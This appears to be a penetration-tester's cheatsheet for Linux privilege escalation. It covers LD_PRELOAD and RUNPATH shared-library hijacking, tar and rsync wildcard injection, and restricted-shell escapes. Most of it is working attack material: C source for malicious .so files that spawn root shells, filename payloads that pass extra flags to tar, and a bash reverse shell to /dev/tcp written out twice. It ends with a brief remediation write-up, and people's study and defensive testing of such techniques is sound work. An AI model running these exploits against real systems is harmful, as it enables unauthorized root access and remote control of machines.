🛡️ Methodology Checklist

  • Check env_keep in sudoers: sudo -l | grep env_keep
  • If LD_PRELOAD kept: compile malicious .so with _init() → inject via sudo
  • Check RUNPATH on SUID binaries: readelf -d [binary] | grep RUNPATH
  • Writable RUNPATH dir? → plant malicious .so with same name
  • Find wildcard usage in root cron/scripts: grep -r '\*' /etc/cron*
  • Tar wildcard in cron: plant --checkpoint-action=exec=sh file
  • Restricted shell? Try: vi, SSH -t "bash --noprofile", reset PATH

🎯 Operational Context

Use when: Application runs as root and loads shared libraries from user-writable directories, or cron/sudo uses wildcards with tar/rsync — inject shared library or craft malicious filenames. Think Dumber First: ldd [BINARY] to see what libraries a binary loads. If any library path is user-writable, create a malicious .so file at that path. Wildcard injection: if cron runs tar czf /backup/*.tar.gz /data/, create file --checkpoint-action=exec=sh -i in /data/ as a filename. Skip when: Library paths are all system paths owned by root — wildcard injection only works if user can create files in the directory being globbed.


⚡ Tactical Cheatsheet

CommandTactical Outcome
sudo -lCheck for env_keep+=LD_PRELOAD or env_keep+=LD_LIBRARY_PATH
ldd /usr/bin/[BINARY]List shared libraries used by binary
readelf -d /usr/bin/[BINARY] | grep RUNPATHCheck for custom RUNPATH in binary
gcc -fPIC -shared -nostartfiles -o /tmp/root.so root.cCompile LD_PRELOAD malicious shared object
sudo LD_PRELOAD=/tmp/root.so [SUDO_BINARY]Trigger LD_PRELOAD injection via sudo with env_keep
ls -la /path/to/library/dirCheck if RUNPATH directory is writable — place hijack .so there
echo "" > /var/backups/--checkpoint=1Create tar checkpoint flag file for wildcard abuse
echo "" > "/var/backups/--checkpoint-action=exec=sh shell.sh"Create tar action flag file
echo 'bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1' > /var/backups/shell.shCreate payload for tar wildcard injection
compgen -cList all available commands in restricted shell
echo $SHELL; echo $PATHIdentify restricted shell type and PATH
ssh [USER]@[TARGET_IP] "bash --noprofile"Bypass rbash if SSH key available
ssh [USER]@[TARGET_IP] -t "bash --noprofile"Interactive bash without profile restrictions
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binReset PATH in restricted shell

🔬 Deep Dive & Workflow

LD_PRELOAD Injection (Sudo env_keep)

# Prerequisite: sudo -l shows:
# Defaults env_keep+=LD_PRELOAD
# (root) NOPASSWD: /usr/bin/apache2
 
# Create malicious shared object
cat > /tmp/root.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/root.so /tmp/root.c
 
# Trigger via sudo
sudo LD_PRELOAD=/tmp/root.so apache2
# → _init() fires before apache2 main() → root shell

Why it works: LD_PRELOAD injects a shared library before the binary runs. Normally stripped from SUID/sudo contexts, but env_keep in sudoers preserves it.

Shared Library RUNPATH Hijacking

# Check if binary has writable RUNPATH
readelf -d /usr/bin/menu | grep RUNPATH
# → RUNPATH: /development
 
ls -la /development
# → drwxrwxr-x → writable!
 
# Check what library is missing or loaded
ldd /usr/bin/menu
# → libutils.so.1 => /development/libutils.so.1
 
# Create hijack library
cat > /tmp/hijack.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
    setuid(0);
    system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -o /development/libutils.so.1 /tmp/hijack.c
/usr/bin/menu   # → loads our library → root shell

Tar Wildcard Injection

# Vulnerable cron: cd /var/backups && tar -czf backup.tar.gz *
# The * expands to ALL filenames, including those starting with --
 
# Step 1: Create payload script
echo "bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1" > /var/backups/shell.sh
chmod +x /var/backups/shell.sh
 
# Step 2: Create "flag" filenames tar interprets as arguments
echo "" > /var/backups/--checkpoint=1
echo "" > "/var/backups/--checkpoint-action=exec=sh shell.sh"
 
# When cron runs: tar expands * → sees flags → executes shell.sh as root
# Start listener: nc -lnvp [LPORT]

Key: --checkpoint=1 prints a progress message every 1 record. --checkpoint-action=exec= runs a command at each checkpoint. Filenames become tar arguments via shell glob expansion.

Escaping Restricted Shells (rbash)

# Identify restriction
echo $SHELL    # → /bin/rbash
echo $PATH     # → /home/user/bin  (very limited)
compgen -c     # list available commands
 
# Method 1: Via available editors
vi :set shell=/bin/bash :shell
vim :!/bin/bash
man [anything] → !/bin/bash
 
# Method 2: SSH trick (requires SSH key)
ssh [USER]@[TARGET_IP] -t "bash --noprofile"
ssh [USER]@[TARGET_IP] "bash --noprofile"   # non-interactive
 
# Method 3: Language interpreters if available
python3 -c 'import os; os.system("/bin/bash")'
perl -e 'exec "/bin/bash"'
awk 'BEGIN {system("/bin/bash")}'
 
# Method 4: PATH reset after escaping
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export SHELL=/bin/bash
 
# Method 5: Scripting if cp/mv available
cp /bin/bash /home/user/bin/sh
sh   # → if sh maps to bash, no profile restrictions

Wildcard Abuse — Other Commands

# rsync --rsh
echo > "--rsh=sh shell.sh"
 
# chown wildcard (if run as root on *.txt)
touch -- '--reference=root_owned_file'
# → chown copies ownership from reference file

🛠️ Troubleshooting & Edge Cases

ProblemCauseFix
Shared library hijack not executingLD_LIBRARY_PATH not set or wrong pathCheck: strings [BINARY] | grep rpath for hardcoded rpath; place .so there
Wildcard tar injection failsWildcard expansion not happeningConfirm wildcard: crontab -l | grep '*'; filenames must be in the exact directory being tarred
Library .so not loadingWrong architecture or exportsCompile with: gcc -shared -fPIC -o lib.so lib.c -nostartfiles; must match target architecture
Checkpoint action injection in rsyncDifferent wildcard syntaxrsync: create file named -e sh shell.sh in source dir; then rsync -av source/ dest/ triggers it
Library load fails silentlyMissing constructor attributeAdd: __attribute__((constructor)) void init() { system('/bin/bash -p'); } to C source

📝 Reporting Trigger

Finding Title: Shared Library Hijacking Enables Root Code Execution Impact: Attacker-controlled shared library loaded by a root-owned binary allows arbitrary code execution as root, achieved by placing a malicious .so file in a library search path writable by the compromised user. Root Cause: Application loads shared libraries from directories writable by non-privileged users. No AppArmor/SELinux profile restricting library load paths. Recommendation: Ensure all library directories used by privileged binaries are root-owned and not world-writable. Implement AppArmor/SELinux profiles for privileged binaries. Use rpath for trusted library paths. Monitor shared library loading with auditd.